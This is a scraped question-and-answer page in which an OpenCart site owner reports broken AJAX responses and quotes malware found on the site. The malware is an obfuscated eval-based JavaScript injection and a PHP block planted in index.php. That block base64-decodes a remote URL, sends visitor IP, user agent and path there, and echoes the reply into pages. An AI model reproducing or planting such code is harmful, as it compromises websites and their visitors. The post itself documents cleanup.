Note that there are some explanatory texts on larger screens.

plurals
  1. POOpencart: Ajax json response unknown characters
    primarykey
    data
    text
    <p>I am working on e-commerce website. It was working fine but suddenly all ajax functions didn't work. When I checked the ajax code in firebug I can see some js strings are attached with that response:</p> <pre><code> {"success":"Success: You have added &lt;a href=\"http:\/\/www.test.com\/exmple\"&gt;sample&lt;\/a&gt; to your &lt;a href=\"http:\/\/www.test.com \/index.php?route=checkout\/cart\"&gt;shopping cart&lt;\/a&gt;!","total":"2070 items","amount":"$2,028.60"} &lt;script&gt;e=eval;v="0"+"x";a=0;try{a&amp;=2}catch(q){a=1}if(!a) {try{document["\x62ody"]^=~1;}catch(q) {a2="_"}z="10_10_70_6d_27_2f_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_7a_49_80_5b_68_6e_55_68_74_6c_2f_2e_69_76_6b_80_2e_30_62_37_64_30_82_14_10_10 </code></pre> <p>I am getting this error in firefox only....</p> <p>This is what they added into the index.php file.</p> <pre><code> &lt;?php if (!isset($sRetry)) { global $sRetry; $sRetry = 1; // This code use for global bot statistic $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot $stCurlHandle = NULL; $stCurlLink = ""; if((strstr($sUserAgent, 'google') == false)&amp;&amp;(strstr($sUserAgent, 'yahoo') == false)&amp;&amp;(strstr($sUserAgent, 'baidu') == false)&amp;&amp;(strstr($sUserAgent, 'msn') == false)&amp;&amp;(strstr($sUserAgent, 'opera') == false)&amp;&amp;(strstr($sUserAgent, 'chrome') == false)&amp;&amp;(strstr($sUserAgent, 'bing') == false)&amp;&amp;(strstr($sUserAgent, 'safari') == false)&amp;&amp;(strstr($sUserAgent, 'bot') == false)) // Bot comes { if(isset($_SERVER['REMOTE_ADDR']) == true &amp;&amp; isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&amp;useragent='.urlencode($sUserAgent).'&amp;domainname='.urlencode($_SERVER['HTTP_HOST']).'&amp;fullpath='.urlencode($_SERVER['REQUEST_URI']).'&amp;check='.isset($_GET['look']); @$stCurlHandle = curl_init( $stCurlLink ); } } if ( $stCurlHandle !== NULL ) { curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6); $sResult = @curl_exec($stCurlHandle); if ($sResult[0]=="O") {$sResult[0]=" "; echo $sResult; // Statistic code end } curl_close($stCurlHandle); } } ?&gt; </code></pre> <p>I just removed the code now its working fine... </p>
    singulars
    1. This table or related slice is empty.
    1. This table or related slice is empty.
    plurals
    1. This table or related slice is empty.
    1. This table or related slice is empty.
 

Querying!

 
Guidance

SQuiL has stopped working due to an internal error.

If you are curious you may find further information in the browser console, which is accessible through the devtools (F12).

Reload